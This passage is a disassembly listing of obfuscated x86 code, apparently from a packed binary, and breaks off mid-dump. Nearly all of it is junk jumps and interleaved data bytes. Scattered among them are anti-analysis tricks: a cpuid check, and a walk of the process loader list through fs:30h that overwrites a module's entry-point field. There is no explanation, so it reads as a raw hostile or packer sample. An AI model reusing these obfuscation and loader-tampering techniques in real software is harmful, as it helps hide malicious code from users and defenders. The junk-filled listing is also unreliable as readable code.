--------------------------------------------------------------------------- dw 1796h dd 0B322ED04h, 0F6EE970h, 2B7AA59Ch, 7462188h, 0A3D25D34h dd 0FF1E59A0h, 1B2A15CCh, 0F7F691B8h db 64h, 0CDh, 82h ; --------------------------------------------------------------------------- loc_404B03: ; CODE XREF: .text:00404AD3j jmp short loc_404ADC ; --------------------------------------------------------------------------- db 93h, 0D0h, 0C9h db 0CEh ; --------------------------------------------------------------------------- loc_404B09: ; CODE XREF: .text:loc_404B13j jmp short loc_404B36 ; --------------------------------------------------------------------------- db 0EFh dd 0BDA85FCh db 0E8h, 1, 0A6h ; --------------------------------------------------------------------------- loc_404B13: ; CODE XREF: .text:loc_404ADCj jmp short loc_404B09 ; --------------------------------------------------------------------------- db 0E7h ; --------------------------------------------------------------------------- loc_404B16: ; CODE XREF: .text:loc_404B36j jmp short loc_404B46 ; --------------------------------------------------------------------------- dd 83323D94h, 0DF7E3900h, 0FB8AF52Ch, 0D7567118h, 73E2ADC4h dd 0CF2EA930h, 0EB3A655Ch db 48h, 0E1h ; --------------------------------------------------------------------------- loc_404B36: ; CODE XREF: .text:loc_404B09j jmp short loc_404B16 ; --------------------------------------------------------------------------- push es mov esp, 6063921Dh sbb esi, ebx mov edi, 0DBEAD58Ch loc_404B46: ; CODE XREF: .text:loc_404B16j call eax push edi push ecx test cl, bl mov cx, 4A3Dh xchg ecx, ecx jnz loc_404B5D xor ecx, ebp cmc cmp ecx, edx loc_404B5D: ; CODE XREF: .text:00404B52j xor edi, esp cmp al, 0C6h cld pop ecx pop edi dec esi push edi push ebx shl edi, 0F7h ja loc_404B75 rcl ebx, 3Dh mov edi, esi loc_404B75: ; CODE XREF: .text:00404B6Aj cmp al, 0D6h test ecx, edx neg ebx shr ebx, 48h cld pop ebx pop edi add esi, eax push edx push esi shl esi, 0FBh cld pop esi pop edx push 7970h push edi push ebx xor ebx, 809B5Ah inc edi cld pop ebx pop edi push 0A89EA67Bh jmp short loc_404BCC ; --------------------------------------------------------------------------- db 0BCh db 45h, 9Ah ; --------------------------------------------------------------------------- loc_404BA6: ; CODE XREF: .text:loc_404BCCj jmp short loc_404BDF ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh, 1631D8BBh, 0A26D8497h dd 0EE69F033h, 0FA251C8Fh, 0C6A108ABh ; --------------------------------------------------------------------------- loc_404BCC: ; CODE XREF: .text:00404BA1j jmp short loc_404BA6 ; --------------------------------------------------------------------------- xchg esi, [ebp+ebx*8-26DFDCAEh] sahf jg short loc_404C24 xchg eax, ebp stosb wait cmp [ecx], dl jbe short loc_404C56 loc_404BDF: ; CODE XREF: .text:loc_404BA6j push 9000h push ebx push ecx mov ebx, 80999Ah rcl ecx, 2 mov ecx, esi cmc cld pop ecx pop ebx call near ptr sub_4058B9 jmp short loc_404C0E ; --------------------------------------------------------------------------- db 5Ah db 8Bh, 68h ; --------------------------------------------------------------------------- loc_404BFE: ; CODE XREF: .text:loc_404C0Ej jmp short loc_404C29 ; --------------------------------------------------------------------------- and dword ptr [esi], 0B2BD1467h add eax, [eax-53A00147h] jnz short loc_404C18 loc_404C0E: ; CODE XREF: .text:00404BF9j ; .text:00404C2Cj jmp short loc_404BFE ; --------------------------------------------------------------------------- db 7Bh, 98h, 0F1h ; --------------------------------------------------------------------------- loc_404C13: ; CODE XREF: .text:loc_404C29j jmp short loc_404C44 ; --------------------------------------------------------------------------- setalc push edi inc esp loc_404C18: ; CODE XREF: .text:00404C0Cj sub eax, 29B0F362h scasb dec edi fsubr st(5), st ; --------------------------------------------------------------------------- db 0BAh, 6Bh, 0C8h ; --------------------------------------------------------------------------- loc_404C24: ; CODE XREF: .text:00404BD6j popa xchg al, [edi+74h] popf loc_404C29: ; CODE XREF: .text:loc_404BFEj jmp short loc_404C13 ; --------------------------------------------------------------------------- db 12h ; --------------------------------------------------------------------------- jecxz short loc_404C0E cdq pop esi loc_404C30: ; CODE XREF: .text:loc_404C44j jmp short loc_404C5F ; --------------------------------------------------------------------------- dw 0C3Fh dd 0F85B6A55h, 0A43736D1h, 10D3C20Dh, 3C2F0E09h ; --------------------------------------------------------------------------- loc_404C44: ; CODE XREF: .text:loc_404C13j jmp short loc_404C30 ; --------------------------------------------------------------------------- dw 1AC5h dd 0E641284Bh, 727DD427h, 0BE7940C3h db 1Fh, 6Ch ; --------------------------------------------------------------------------- loc_404C56: ; CODE XREF: .text:00404BDDj xor eax, 0B1583BCAh xchg eax, esi pop ss add al, 0EDh loc_404C5F: ; CODE XREF: .text:loc_404C30j add esp, 0Ch push esi push ecx dec esi mov ecx, edx cld pop ecx pop esi push 3D7h jmp short loc_404CA1 ; --------------------------------------------------------------------------- movsd jp short near ptr byte_404C9F mov [ecx], ah inc esi pop es loc_404C78: ; CODE XREF: .text:loc_404CA1j jmp short loc_404CB8 ; --------------------------------------------------------------------------- dw 5D34h dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h, 0C9D09382h dd 85FCEFCEh, 1E80BDAh, 3D94E7A6h db 32h, 83h, 0 byte_404C9F db 39h ; CODE XREF: .text:00404C72j db 7Eh ; --------------------------------------------------------------------------- loc_404CA1: ; CODE XREF: .text:00404C6Fj jmp short loc_404C78 ; --------------------------------------------------------------------------- db 0DFh dd 0FB8AF52Ch db 18h ; --------------------------------------------------------------------------- loc_404CA9: ; CODE XREF: .text:loc_404CB8j jmp short loc_404CD7 ; --------------------------------------------------------------------------- db 71h dd 0ADC4D756h, 0A93073E2h, 655CCF2Eh ; --------------------------------------------------------------------------- loc_404CB8: ; CODE XREF: .text:loc_404C78j jmp short loc_404CA9 ; --------------------------------------------------------------------------- dw 0EB3Ah dd 0C706E148h, 63921DF4h, 0BFDE1960h, 0DBEAD58Ch, 0B7B65178h dd 53428D24h db 90h db 89h, 8Eh ; --------------------------------------------------------------------------- loc_404CD7: ; CODE XREF: .text:loc_404CA9j push 4FE7324Dh jmp short loc_404D0D ; --------------------------------------------------------------------------- cmpsd push esp std loc_404CE1: ; CODE XREF: .text:loc_404D0Dj jmp short loc_404D20 ; --------------------------------------------------------------------------- db 0F2h dd 3EF9C043h, 4AB5EC9Fh, 1631D8BBh, 0A26D8497h, 0EE69F033h dd 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h, 0AA954C7Fh ; --------------------------------------------------------------------------- wait loc_404D0D: ; CODE XREF: .text:00404CDCj jmp short loc_404CE1 ; --------------------------------------------------------------------------- db 38h dd 0E4777611h db 4Dh, 2 ; --------------------------------------------------------------------------- loc_404D16: ; CODE XREF: .text:loc_404D20j jmp short loc_404D43 ; --------------------------------------------------------------------------- dd 4E495013h, 5A057C6Fh ; --------------------------------------------------------------------------- loc_404D20: ; CODE XREF: .text:loc_404CE1j jmp short loc_404D16 ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_404D23: ; CODE XREF: .text:loc_404D43j jmp short loc_404D53 ; --------------------------------------------------------------------------- db 68h, 81h, 26h dd 0B2BD1467h, 0FEB98003h, 0A75AC5Fh, 0D6F1987Bh, 622D4457h dd 0AE29B0F3h ; --------------------------------------------------------------------------- dec edi fsubr st(5), st loc_404D43: ; CODE XREF: .text:loc_404D16j jmp short loc_404D23 ; --------------------------------------------------------------------------- db 0BAh, 6Bh, 0C8h dd 74478661h, 0E0E3129Dh ; --------------------------------------------------------------------------- cdq pop esi aas loc_404D53: ; CODE XREF: .text:loc_404D23j push 11000h push eax push ebx rep shr eax, 4Ah dec eax xor eax, 80B21Ah push ebx pop eax push esi pop eax cld pop ebx pop eax call near ptr sub_4058B9 jmp short loc_404D9D ; --------------------------------------------------------------------------- movsb or eax, 910D3C2h push cs loc_404D7A: ; CODE XREF: .text:loc_404D9Dj jmp short loc_404DAD ; --------------------------------------------------------------------------- dd 1AC53C2Fh, 0E641284Bh, 727DD427h, 0BE7940C3h, 0CA356C1Fh dd 96B1583Bh, 22ED0417h, 6EE970B3h db 0Fh ; --------------------------------------------------------------------------- loc_404D9D: ; CODE XREF: .text:00404D71j jmp short loc_404D7A ; --------------------------------------------------------------------------- loc_404D9F: ; CODE XREF: .text:loc_404DADj jmp short loc_404DD0 ; --------------------------------------------------------------------------- db 9Ch, 0A5h, 7Ah dd 4621882Bh, 0D25D3407h db 0A3h ; --------------------------------------------------------------------------- loc_404DAD: ; CODE XREF: .text:loc_404D7Aj jmp short loc_404D9F ; --------------------------------------------------------------------------- db 0A0h dd 0CCFF1E59h, 0B81B2A15h, 64F7F691h, 0D09382CDh, 0FCEFCEC9h dd 0E80BDA85h, 94E7A601h, 83323Dh ; --------------------------------------------------------------------------- loc_404DD0: ; CODE XREF: .text:loc_404D9Fj add esp, 0Ch jmp short loc_404DFE ; --------------------------------------------------------------------------- db 8Ah, 0FBh, 18h ; --------------------------------------------------------------------------- loc_404DD8: ; CODE XREF: .text:loc_404DFEj jmp short loc_404E11 ; --------------------------------------------------------------------------- dw 5671h dd 0E2ADC4D7h, 2EA93073h, 3A655CCFh, 6E148EBh, 921DF4C7h dd 0DE196063h, 0EAD58CBFh, 0B65178DBh ; --------------------------------------------------------------------------- mov bh, 24h loc_404DFE: ; CODE XREF: .text:00404DD3j jmp short loc_404DD8 ; --------------------------------------------------------------------------- dd 9053428Dh db 89h ; --------------------------------------------------------------------------- loc_404E05: ; CODE XREF: .text:loc_404E11j jmp short loc_404E34 ; --------------------------------------------------------------------------- mov gs, [edi-3465BA44h] test al, 0C1h cmpsw loc_404E11: ; CODE XREF: .text:loc_404DD8j jmp short loc_404E05 ; --------------------------------------------------------------------------- db 54h dd 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h, 84971631h, 0F033A26Dh dd 1C8FEE69h, 8ABFA25h, 0B487C6A1h ; --------------------------------------------------------------------------- loc_404E34: ; CODE XREF: .text:loc_404E05j mov eax, ebp jmp short loc_404E65 ; --------------------------------------------------------------------------- db 4Ch, 95h, 0AAh ; --------------------------------------------------------------------------- loc_404E3B: ; CODE XREF: .text:loc_404E65j jmp short loc_404E79 ; --------------------------------------------------------------------------- db 9Bh, 38h, 11h dd 4DE47776h, 49501302h, 57C6F4Eh, 81688B5Ah, 0BD146726h dd 0B98003B2h, 75AC5FFEh, 0F1987B0Ah, 2D4457D6h db 62h ; --------------------------------------------------------------------------- loc_404E65: ; CODE XREF: .text:00404E36j jmp short loc_404E3B ; --------------------------------------------------------------------------- db 0F3h db 0B0h ; --------------------------------------------------------------------------- loc_404E69: ; CODE XREF: .text:loc_404E79j jmp short loc_404E94 ; --------------------------------------------------------------------------- db 29h dd 0E5DC4FAEh, 61C86BBAh, 9D744786h db 12h ; --------------------------------------------------------------------------- loc_404E79: ; CODE XREF: .text:loc_404E3Bj jmp short loc_404E69 ; --------------------------------------------------------------------------- db 0E3h db 0E0h, 99h ; --------------------------------------------------------------------------- loc_404E7E: ; CODE XREF: .text:loc_404E94j jmp short loc_404EAF ; --------------------------------------------------------------------------- pop esi aas or al, 55h push 5Bh clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h push cs das cmp al, 0C5h loc_404E94: ; CODE XREF: .text:loc_404E69j jmp short loc_404E7E ; --------------------------------------------------------------------------- dw 4B1Ah dd 27E64128h, 0C3727DD4h, 1FBE7940h, 3BCA356Ch, 1796B158h db 4, 0EDh, 22h ; --------------------------------------------------------------------------- loc_404EAF: ; CODE XREF: .text:loc_404E7Ej push esi push ecx push ebx sub ecx, 8089DAh xchg ebx, ecx sbb ebx, 88B4DAh lea ecx, ds:80AA5Ah cmp esi, esp rep cld pop ebx pop ecx push eax push edi push esi mov di, 4942h cmp al, 0CCh push edx pop esi mov esi, 80A89Ah adc edi, 80A05Ah test al, bh test al, ch cld pop esi pop edi push 112FCh push edi push eax push edx pop eax cmc test ecx, edx push ebx pop edi cld pop eax pop edi call near ptr sub_4021E2 jmp short loc_404F2E ; --------------------------------------------------------------------------- and [esi+7], eax loc_404F04: ; CODE XREF: .text:loc_404F2Ej jmp short loc_404F46 ; --------------------------------------------------------------------------- dw 5D34h dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h, 0C9D09382h dd 85FCEFCEh, 1E80BDAh, 3D94E7A6h, 39008332h db 7Eh, 0DFh ; --------------------------------------------------------------------------- loc_404F2E: ; CODE XREF: .text:00404EFFj jmp short loc_404F04 ; --------------------------------------------------------------------------- dd 0FB8AF52Ch, 0D7567118h, 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch db 48h, 0E1h ; --------------------------------------------------------------------------- loc_404F46: ; CODE XREF: .text:loc_404F04j xor eax, eax push edi push edx test al, dh dec edx cld pop edx pop edi dec eax jmp short loc_404F70 ; --------------------------------------------------------------------------- pusha sbb esi, ebx loc_404F56: ; CODE XREF: .text:loc_404F70j jmp short loc_404F83 ; --------------------------------------------------------------------------- mov edi, 0DBEAD58Ch js short loc_404FB0 mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h ; --------------------------------------------------------------------------- loc_404F70: ; CODE XREF: .text:00404F51j jmp short loc_404F56 ; --------------------------------------------------------------------------- dw 54A7h dd 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h ; --------------------------------------------------------------------------- xor [esi], edx xchg eax, edi loc_404F83: ; CODE XREF: .text:loc_404F56j mov ecx, eax jmp short loc_404FB3 ; --------------------------------------------------------------------------- db 1Ch dd 8ABFA25h db 0A1h, 0C6h ; --------------------------------------------------------------------------- loc_404F8E: ; CODE XREF: .text:loc_404FB3j jmp short loc_404FC3 ; --------------------------------------------------------------------------- dd 52DDB487h, 9ED92023h, 0AA954C7Fh, 7611389Bh, 24DE477h dd 4E495013h, 5A057C6Fh, 2681688Bh ; --------------------------------------------------------------------------- loc_404FB0: ; CODE XREF: .text:00404F5Dj db 67h adc al, 0BDh loc_404FB3: ; CODE XREF: .text:00404F85j jmp short loc_404F8E ; --------------------------------------------------------------------------- db 0B2h, 3, 80h db 0B9h, 0FEh, 5Fh ; --------------------------------------------------------------------------- loc_404FBB: ; CODE XREF: .text:loc_404FC3j jmp short loc_404FE6 ; --------------------------------------------------------------------------- db 0ACh, 75h, 0Ah db 7Bh, 98h, 0F1h ; --------------------------------------------------------------------------- loc_404FC3: ; CODE XREF: .text:loc_404F8Ej jmp short loc_404FBB ; --------------------------------------------------------------------------- setalc push edi inc esp loc_404FC8: ; CODE XREF: .text:loc_404FE6j jmp short loc_404FF9 ; --------------------------------------------------------------------------- dw 622Dh dd 0AE29B0F3h, 0BAE5DC4Fh, 8661C86Bh, 129D7447h, 5E99E0E3h dd 6A550C3Fh ; --------------------------------------------------------------------------- pop ebx clc loc_404FE6: ; CODE XREF: .text:loc_404FBBj jmp short loc_404FC8 ; --------------------------------------------------------------------------- sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h push cs das cmp al, 0C5h sbb cl, [ebx+28h] inc ecx loc_404FF9: ; CODE XREF: .text:loc_404FC8j mov edx, eax push edx push esi inc esi mov esi, edx push ebp pop esi xor esi, ecx cld pop esi pop edx cpuid push edx push ecx test ecx, esp test ecx, esp test eax, ecx inc ecx cld pop ecx pop edx xor edi, edi push esi push ebx nop jns loc_405027 mov ebx, ebx push edi pop esi cmp ebp, ecx cmc loc_405027: ; CODE XREF: .text:0040501Aj mov bx, 4949h inc ebx xor ebx, ebp mov esi, edx neg ebx mov ebx, edx cld pop ebx pop esi dec edi jmp short loc_405063 ; --------------------------------------------------------------------------- dw 356Ch db 0CAh ; --------------------------------------------------------------------------- loc_40503D: ; CODE XREF: .text:loc_405063j jmp short loc_405073 ; --------------------------------------------------------------------------- db 3Bh dd 1796B158h, 0B322ED04h, 0F6EE970h, 2B7AA59Ch, 7462188h dd 0A3D25D34h, 0FF1E59A0h, 1B2A15CCh db 0B8h, 91h, 0F6h ; --------------------------------------------------------------------------- loc_405063: ; CODE XREF: .text:00405038j jmp short loc_40503D ; --------------------------------------------------------------------------- db 0F7h, 64h, 0CDh ; --------------------------------------------------------------------------- adc byte ptr [ebx-10313630h], 0FCh test ebx, edx or ebp, eax loc_405073: ; CODE XREF: .text:loc_40503Dj cmp edi, edx jnz loc_405188 push esi push edx xchg esi, esi xor edx, ebp xchg edx, esi mov esi, 808B1Ah mov dx, 490Eh mov esi, 81117Ah cmp ebx, ecx repne cld pop edx pop esi cmp edi, ecx jnz loc_405188 jmp short loc_4050D0 ; --------------------------------------------------------------------------- db 0DFh, 2Ch, 0F5h ; --------------------------------------------------------------------------- loc_4050A4: ; CODE XREF: .text:loc_4050D0j jmp short loc_4050E3 ; --------------------------------------------------------------------------- dw 0FB8Ah dd 0D7567118h, 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch, 0C706E148h dd 63921DF4h, 0BFDE1960h, 0DBEAD58Ch, 0B7B65178h, 53428D24h ; --------------------------------------------------------------------------- loc_4050D0: ; CODE XREF: .text:0040509Fj ; .text:00405136j jmp short loc_4050A4 ; --------------------------------------------------------------------------- db 90h ; --------------------------------------------------------------------------- mov [esi-65BA4351h], ecx loc_4050D9: ; CODE XREF: .text:loc_4050E3j jmp short loc_405106 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dd 0A766C1A8h db 54h, 0FDh, 0F2h ; --------------------------------------------------------------------------- loc_4050E3: ; CODE XREF: .text:loc_4050A4j jmp short loc_4050D9 ; --------------------------------------------------------------------------- inc ebx sar cl, 3Eh loc_4050E9: ; CODE XREF: .text:loc_405106j jmp short loc_405119 ; --------------------------------------------------------------------------- db 9Fh ; --------------------------------------------------------------------------- loc_4050EC: ; CODE XREF: .text:0040514Dj in al, dx mov ch, 4Ah mov ebx, 971631D8h test [ebp-5Eh], ch xor esi, eax imul ebp, esi, 0FA251C8Fh stosd ; --------------------------------------------------------------------------- dd 87C6A108h ; --------------------------------------------------------------------------- mov ah, 0DDh loc_405106: ; CODE XREF: .text:loc_4050D9j jmp short loc_4050E9 ; --------------------------------------------------------------------------- dd 0D9202352h, 954C7F9Eh, 11389BAAh, 4DE47776h db 2 ; --------------------------------------------------------------------------- loc_405119: ; CODE XREF: .text:loc_4050E9j sub ebp, 1000h jmp short loc_405134 ; --------------------------------------------------------------------------- db 5Ah, 8Bh, 68h ; --------------------------------------------------------------------------- loc_405124: ; CODE XREF: .text:loc_405134j jmp short loc_40514F ; --------------------------------------------------------------------------- and dword ptr [esi], 0B2BD1467h add eax, [eax-53A00147h] jnz short loc_40513E loc_405134: ; CODE XREF: .text:0040511Fj jmp short loc_405124 ; --------------------------------------------------------------------------- jnp short loc_4050D0 icebp loc_405139: ; CODE XREF: .text:loc_40514Fj jmp short loc_40516A ; --------------------------------------------------------------------------- setalc push edi inc esp loc_40513E: ; CODE XREF: .text:00405132j sub eax, 29B0F362h scasb dec edi fsubr st(5), st mov edx, 8661C86Bh inc edi jz short loc_4050EC loc_40514F: ; CODE XREF: .text:loc_405124j jmp short loc_405139 ; --------------------------------------------------------------------------- db 12h, 0E3h, 0E0h ; --------------------------------------------------------------------------- cdq pop esi loc_405156: ; CODE XREF: .text:loc_40516Aj jmp short loc_405188 ; --------------------------------------------------------------------------- dd 6A550C3Fh, 36D1F85Bh, 0C20DA437h, 0E0910D3h db 2Fh, 3Ch ; --------------------------------------------------------------------------- loc_40516A: ; CODE XREF: .text:loc_405139j jmp short loc_405156 ; --------------------------------------------------------------------------- dd 284B1AC5h, 0D427E641h, 40C3727Dh, 6C1FBE79h, 583BCA35h dd 41796B1h, 70B322EDh ; --------------------------------------------------------------------------- loc_405188: ; CODE XREF: .text:00405075j ; .text:00405099j ... xor eax, eax jmp short loc_4051B5 ; --------------------------------------------------------------------------- mov [ecx], ah inc esi loc_40518F: ; CODE XREF: .text:loc_4051B5j jmp short loc_4051C5 ; --------------------------------------------------------------------------- db 7, 34h, 5Dh dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h, 0C9D09382h dd 85FCEFCEh, 1E80BDAh, 3D94E7A6h db 32h ; --------------------------------------------------------------------------- loc_4051B5: ; CODE XREF: .text:0040518Aj jmp short loc_40518F ; --------------------------------------------------------------------------- db 83h db 0 ; --------------------------------------------------------------------------- loc_4051B9: ; CODE XREF: .text:loc_4051C5j jmp short loc_4051E8 ; --------------------------------------------------------------------------- cmp [esi-21h], edi sub al, 0F5h mov bh, bl sbb [ecx+56h], dh loc_4051C5: ; CODE XREF: .text:loc_40518Fj jmp short loc_4051B9 ; --------------------------------------------------------------------------- xlat les ebp, [ebp-56CF8C1Eh] loc_4051CE: ; CODE XREF: .text:loc_4051E8j jmp short loc_4051FB ; --------------------------------------------------------------------------- dd 655CCF2Eh, 0E148EB3Ah, 1DF4C706h, 19606392h, 0D58CBFDEh dd 5178DBEAh ; --------------------------------------------------------------------------- loc_4051E8: ; CODE XREF: .text:loc_4051B9j jmp short loc_4051CE ; --------------------------------------------------------------------------- mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h ; --------------------------------------------------------------------------- loc_4051FB: ; CODE XREF: .text:loc_4051CEj cmp eax, 0 jz loc_4057FA jmp short loc_405235 ; --------------------------------------------------------------------------- sar cl, 3Eh loc_405209: ; CODE XREF: .text:loc_405235j jmp short loc_405248 ; --------------------------------------------------------------------------- db 9Fh dd 0BB4AB5ECh, 971631D8h, 33A26D84h, 8FEE69F0h, 0ABFA251Ch dd 87C6A108h, 2352DDB4h, 7F9ED920h, 9BAA954Ch, 77761138h db 0E4h ; --------------------------------------------------------------------------- loc_405235: ; CODE XREF: .text:00405204j jmp short loc_405209 ; --------------------------------------------------------------------------- db 4Dh dd 49501302h db 4Eh, 6Fh ; --------------------------------------------------------------------------- loc_40523E: ; CODE XREF: .text:loc_405248j jmp short loc_40526B ; --------------------------------------------------------------------------- dd 8B5A057Ch, 67268168h ; --------------------------------------------------------------------------- loc_405248: ; CODE XREF: .text:loc_405209j jmp short loc_40523E ; --------------------------------------------------------------------------- dw 0BD14h dd 0B98003B2h, 75AC5FFEh, 0F1987B0Ah, 2D4457D6h, 29B0F362h dd 0E5DC4FAEh, 61C86BBAh ; --------------------------------------------------------------------------- xchg al, [edi+74h] loc_40526B: ; CODE XREF: .text:loc_40523Ej mov eax, large fs:30h jmp short loc_4052A0 ; --------------------------------------------------------------------------- db 0Ch dd 0F85B6A55h, 0A43736D1h, 10D3C20Dh, 3C2F0E09h, 284B1AC5h dd 0D427E641h ; --------------------------------------------------------------------------- jge short loc_405300 loc_40528E: ; CODE XREF: .text:loc_4052A0j jmp short loc_4052BB ; --------------------------------------------------------------------------- db 0C3h ; Ã db 40h, 79h, 0BEh dd 0CA356C1Fh, 96B1583Bh, 22ED0417h ; --------------------------------------------------------------------------- loc_4052A0: ; CODE XREF: .text:00405271j jmp short loc_40528E ; --------------------------------------------------------------------------- db 0B3h ; --------------------------------------------------------------------------- loc_4052A3: ; CODE XREF: .text:loc_4052BBj jmp short loc_4052CE ; --------------------------------------------------------------------------- db 70h, 0E9h, 6Eh dd 7AA59C0Fh, 4621882Bh, 0D25D3407h, 1E59A0A3h db 0FFh, 0CCh, 15h ; --------------------------------------------------------------------------- loc_4052BB: ; CODE XREF: .text:loc_40528Ej jmp short loc_4052A3 ; --------------------------------------------------------------------------- db 2Ah, 1Bh, 0B8h ; --------------------------------------------------------------------------- loc_4052C0: ; CODE XREF: .text:loc_4052CEj jmp short loc_4052F1 ; --------------------------------------------------------------------------- dw 0F691h dd 82CD64F7h, 0CEC9D093h db 0EFh, 0FCh ; --------------------------------------------------------------------------- loc_4052CE: ; CODE XREF: .text:loc_4052A3j jmp short loc_4052C0 ; --------------------------------------------------------------------------- dd 0E80BDA85h, 94E7A601h, 83323Dh, 2CDF7E39h, 18FB8AF5h dd 0C4D75671h, 3073E2ADh, 5CCF2EA9h db 65h ; --------------------------------------------------------------------------- loc_4052F1: ; CODE XREF: .text:loc_4052C0j mov eax, [eax+0Ch] jmp short loc_405320 ; --------------------------------------------------------------------------- dw 6392h dd 0BFDE1960h db 8Ch ; --------------------------------------------------------------------------- loc_4052FD: ; CODE XREF: .text:loc_405320j jmp short loc_405330 ; --------------------------------------------------------------------------- db 0D5h ; --------------------------------------------------------------------------- loc_405300: ; CODE XREF: .text:0040528Cj jmp far ptr 24B7h:0B65178DBh ; --------------------------------------------------------------------------- lea eax, [edx+53h] nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- dw 0C1A8h dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh ; --------------------------------------------------------------------------- loc_405320: ; CODE XREF: .text:004052F4j jmp short loc_4052FD ; --------------------------------------------------------------------------- dw 0BB4Ah dd 971631D8h db 84h, 6Dh ; --------------------------------------------------------------------------- loc_40532A: ; CODE XREF: .text:loc_405330j jmp short loc_40535B ; --------------------------------------------------------------------------- dd 69F033A2h ; --------------------------------------------------------------------------- loc_405330: ; CODE XREF: .text:loc_4052FDj jmp short loc_40532A ; --------------------------------------------------------------------------- dw 8FEEh ; --------------------------------------------------------------------------- sbb al, 25h cli loc_405337: ; CODE XREF: .text:loc_40535Bj jmp short loc_40536D ; --------------------------------------------------------------------------- db 0ABh, 8, 0A1h dd 0DDB487C6h, 0D9202352h, 954C7F9Eh, 11389BAAh, 4DE47776h dd 49501302h, 57C6F4Eh db 5Ah, 8Bh, 68h ; --------------------------------------------------------------------------- loc_40535B: ; CODE XREF: .text:loc_40532Aj jmp short loc_405337 ; --------------------------------------------------------------------------- db 81h, 26h, 67h dd 3B2BD14h, 5FFEB980h, 7B0A75ACh ; --------------------------------------------------------------------------- cwde loc_40536D: ; CODE XREF: .text:loc_405337j mov edi, [eax+0Ch] push ebx push edx cmp eax, edi xor edx, edx xchg ebx, edx adc edx, 80A39Ah sub ebx, 80889Ah mov ebx, esi mov edx, edx inc edx cld pop edx pop ebx push edi jmp short loc_4053BB ; --------------------------------------------------------------------------- db 0B0h ; --------------------------------------------------------------------------- sub [esi-451A23B1h], ebp loc_405396: ; CODE XREF: .text:loc_4053BBj jmp short loc_4053CB ; --------------------------------------------------------------------------- dd 8661C86Bh, 129D7447h, 5E99E0E3h, 6A550C3Fh, 36D1F85Bh dd 0C20DA437h, 0E0910D3h, 1AC53C2Fh db 4Bh, 28h, 41h ; --------------------------------------------------------------------------- loc_4053BB: ; CODE XREF: .text:0040538Dj jmp short loc_405396 ; --------------------------------------------------------------------------- db 0E6h, 27h, 0D4h ; --------------------------------------------------------------------------- jge short loc_405434 retn ; --------------------------------------------------------------------------- db 40h dd 6C1FBE79h db 35h, 0CAh, 3Bh ; --------------------------------------------------------------------------- loc_4053CB: ; CODE XREF: .text:loc_405396j ; .text:00405527j cmp ebp, [edi+18h] jnz loc_40550A push edi push eax mov ax, 5D76h xor edi, edx xor eax, eax dec edi push eax pop eax cld pop eax pop edi add esp, 4 push edx push edi test eax, edi xor edi, ebx mov edx, ebp dec edx cld pop edi pop edx push 10000001h jmp short loc_405427 ; --------------------------------------------------------------------------- dw 6EE9h ; --------------------------------------------------------------------------- setl byte ptr [ebp+21882B7Ah] inc esi pop es loc_405405: ; CODE XREF: .text:loc_405427j jmp short loc_405437 ; --------------------------------------------------------------------------- db 34h dd 0A0A3D25Dh, 0CCFF1E59h, 0B81B2A15h, 64F7F691h, 0D09382CDh dd 0FCEFCEC9h, 0E80BDA85h db 1, 0A6h, 0E7h ; --------------------------------------------------------------------------- loc_405427: ; CODE XREF: .text:004053F8j jmp short loc_405405 ; --------------------------------------------------------------------------- db 94h, 3Dh, 32h dd 7E390083h, 8AF52CDFh ; --------------------------------------------------------------------------- loc_405434: ; CODE XREF: .text:004053C0j sti ; --------------------------------------------------------------------------- db 18h, 71h ; --------------------------------------------------------------------------- loc_405437: ; CODE XREF: .text:loc_405405j add [esp], ebp push ecx push edi mov ecx, edi inc ecx mov di, 4929h xchg ecx, ecx not ecx test ecx, ebp mov edi, 810DDAh inc edi cld pop edi pop ecx mov eax, [edi+1Ch] push ecx push edx xor edx, ecx push esi pop ecx xor edx, ebx dec ecx cld pop edx pop ecx pop dword ptr [edi+1Ch] jmp short loc_405491 ; --------------------------------------------------------------------------- dw 0CF2Eh ; --------------------------------------------------------------------------- pop esp loc_405469: ; CODE XREF: .text:loc_405491j jmp short loc_4054A4 ; --------------------------------------------------------------------------- db 65h dd 0E148EB3Ah, 1DF4C706h, 19606392h, 0D58CBFDEh, 5178DBEAh dd 8D24B7B6h, 89905342h, 45BCAF8Eh, 0C1A8CB9Ah db 66h ; --------------------------------------------------------------------------- loc_405491: ; CODE XREF: .text:00405464j jmp short loc_405469 ; --------------------------------------------------------------------------- db 0A7h dd 43F2FD54h, 9F3EF9C0h, 0BB4AB5ECh, 971631D8h ; --------------------------------------------------------------------------- loc_4054A4: ; CODE XREF: .text:loc_405469j jmp loc_405539 ; --------------------------------------------------------------------------- jmp short loc_4054D7 ; --------------------------------------------------------------------------- db 0EEh dd 0FA251C8Fh db 0ABh, 8 ; --------------------------------------------------------------------------- loc_4054B2: ; CODE XREF: .text:loc_4054D7j jmp short loc_4054E7 ; --------------------------------------------------------------------------- dd 0B487C6A1h, 202352DDh, 4C7F9ED9h, 389BAA95h, 0E4777611h dd 5013024Dh, 7C6F4E49h, 688B5A05h db 81h, 26h, 67h ; --------------------------------------------------------------------------- loc_4054D7: ; CODE XREF: .text:004054A9j jmp short loc_4054B2 ; --------------------------------------------------------------------------- db 14h, 0BDh, 0B2h db 3, 80h, 0B9h ; --------------------------------------------------------------------------- loc_4054DF: ; CODE XREF: .text:loc_4054E7j jmp short loc_40550A ; 